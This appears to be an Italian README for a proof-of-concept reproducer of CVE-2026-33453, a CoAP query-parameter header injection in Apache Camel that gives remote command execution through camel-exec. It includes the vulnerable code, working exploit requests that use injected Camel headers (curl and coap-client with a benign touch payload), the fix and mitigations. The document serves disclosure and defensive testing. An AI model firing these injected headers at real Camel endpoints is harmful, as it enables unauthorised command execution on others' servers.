
Riproduttore per CVE-2026-33453: iniezione nell'header camel-coap di Apache Camel che porta a RCE tramite camel-exec
Questo progetto dimostra una vulnerabilità di iniezione di header di messaggio Camel nel componente camel-coap di Apache Camel, tracciata come CVE-2026-33453. Un attaccante non autenticato che può inviare un singolo pacchetto UDP CoAP può iniettare header di controllo Camel* arbitrari nell'Exchange, ottenendo esecuzione remota di codice quando la route inoltra a un producer sensibile agli header come camel-exec.
Avviso: https://camel.apache.org/security/CVE-2026-33453.html
| Proprietà | Valore |
|---|
| Componente | camel-coap |
| Classe interessata | org.apache.camel.coap.CamelCoapResource (handleRequest) |
| Causa principale | Parametri di query URI CoAP copiati negli header dell'Exchange senza HeaderFilterStrategy |
| CWE | CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes |
| Impatto | Esecuzione remota di codice (tramite producer sensibili agli header, es. camel-exec) |
| Superficie d'attacco | Un singolo datagramma UDP CoAP non autenticato (porta predefinita 5683) |
| Versioni interessate | Dalla 4.14.0 fino alla 4.14.6 (esclusa), e dalla 4.15.0 fino alla 4.18.1 (esclusa) |
| Versioni corrette | 4.14.6, 4.18.1, 4.19.0 |
| JIRA | CAMEL-23222 |
| Segnalato da | Hyunwoo Kim (@v4bel) |
Nelle versioni interessate, CamelCoapResource.handleRequest() scorre le opzioni di query URI della richiesta CoAP e copia ciascuna negli header In dell'Exchange Camel, senza applicare alcuna HeaderFilterStrategy:
// CamelCoapResource.handleRequest() - affected version
OptionSet options = exchange.getRequest().getOptions();
for (String s : options.getUriQuery()) {
int i = s.indexOf('=');
String name = (i == -1) ? s : s.substring(0, i);
String value = (i == -1) ? "" : s.substring(i + 1);
camelExchange.getIn().setHeader(name, value); // NO HeaderFilterStrategy!
}
CoAPEndpoint estende DefaultEndpoint (non DefaultHeaderFilterStrategyEndpoint) e CoAPComponent non implementa HeaderFilterStrategyComponent, quindi non esiste alcun filtro. Un attaccante può quindi impostare qualsiasi header — inclusi gli header di controllo Camel* interni a Camel — semplicemente aggiungendo parametri di query all'URI della richiesta CoAP.
Quando la route consegna il messaggio a un producer sensibile agli header, questi header ne modificano il comportamento. Per camel-exec, gli header CamelExecCommandExecutable e CamelExecCommandArgs sovrascrivono l'eseguibile e gli argomenti configurati sull'endpoint (rispettati per impostazione predefinita nelle versioni interessate), consentendo l'esecuzione arbitraria di comandi del sistema operativo. Lo stdout del comando viene riscritto nel corpo dell'Exchange e restituito nella risposta CoAP, fornendo un canale RCE interattivo.
from("coap://0.0.0.0:5683/run")
.to("exec:echo?args=hello") // fixed, harmless command
.convertBodyTo(String.class); // return stdout in the CoAP response
Una richiesta benigna esegue echo hello. Un attaccante sovrascrive il comando tramite header iniettati.
CoAP è basato su UDP (RFC 7252) e non ha autenticazione integrata (DTLS è opzionale e disabilitato per impostazione predefinita), quindi non è richiesto alcun servizio esterno o container Docker — l'app di riproduzione è sia il server CoAP vulnerabile sia un client attaccante integrato (funziona anche un client grezzo come coap-client di libcoap).
mvn clean package -DskipTests
mvn spring-boot:run
L'app avvia la route vulnerabile su coap://0.0.0.0:5683/run e un controller REST di supporto sulla porta 8080.
curl http://localhost:8080/exploit/normal
# -> CoAP response: hello
# Default benign proof: touch /tmp/pwned
curl "http://localhost:8080/exploit/attack"
# Choose a different executable/args:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-coap"
Internamente, il client CoAP integrato invia un singolo datagramma:
coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned
In alternativa, con un client CoAP grezzo:
coap-client -m get "coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned"
ls -la /tmp/pwned
Se /tmp/pwned esiste, l'header iniettato ha sovrascritto il comando exec → RCE.
L'iniezione richiede solo un producer sensibile agli header a valle. L'advisory elenca, tra gli altri:
CamelExecCommandExecutable / CamelExecCommandArgs → esecuzione di comandi del sistema operativoCamelFileName → scrittura arbitraria di file / path traversalCamelBeanMethodName → invocare un metodo diversocoap://....removeHeaders("Camel*") tra il consumer CoAP e quel producer.Non è richiesta alcuna autenticazione; un singolo datagramma UDP verso la porta 5683 è sufficiente.
La correzione (CAMEL-23222) fa sì che CoAPEndpoint disponga di una HeaderFilterStrategy e la applichi in handleRequest() prima di impostare gli header, così i nomi con prefisso Camel* vengono filtrati al confine CoAP come per ogni altro trasporto:
HeaderFilterStrategy strategy = consumer.getCoapEndpoint().getHeaderFilterStrategy();
...
if (strategy == null || !strategy.applyFilterToExternalHeaders(name, value, camelExchange)) {
camelExchange.getIn().setHeader(name, value);
}
In attesa dell'aggiornamento:
.removeHeaders("Camel*") subito dopo il from("coap:...").coaps://) con autenticazione del client per limitare chi può raggiungere l'endpoint.CVE-2026-33453/
├── pom.xml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Spring Boot entry point
│ ├── CoapExecRoute.java # the vulnerable victim route (coap -> exec)
│ └── ExploitController.java # bundled CoAP attacker client (/exploit/normal, /exploit/attack)
└── resources/
└── application.properties
Questo riproduttore è fornito solo per ricerca sulla sicurezza e test autorizzati, per una vulnerabilità divulgata pubblicamente e corretta. Non utilizzarlo contro sistemi senza autorizzazione esplicita.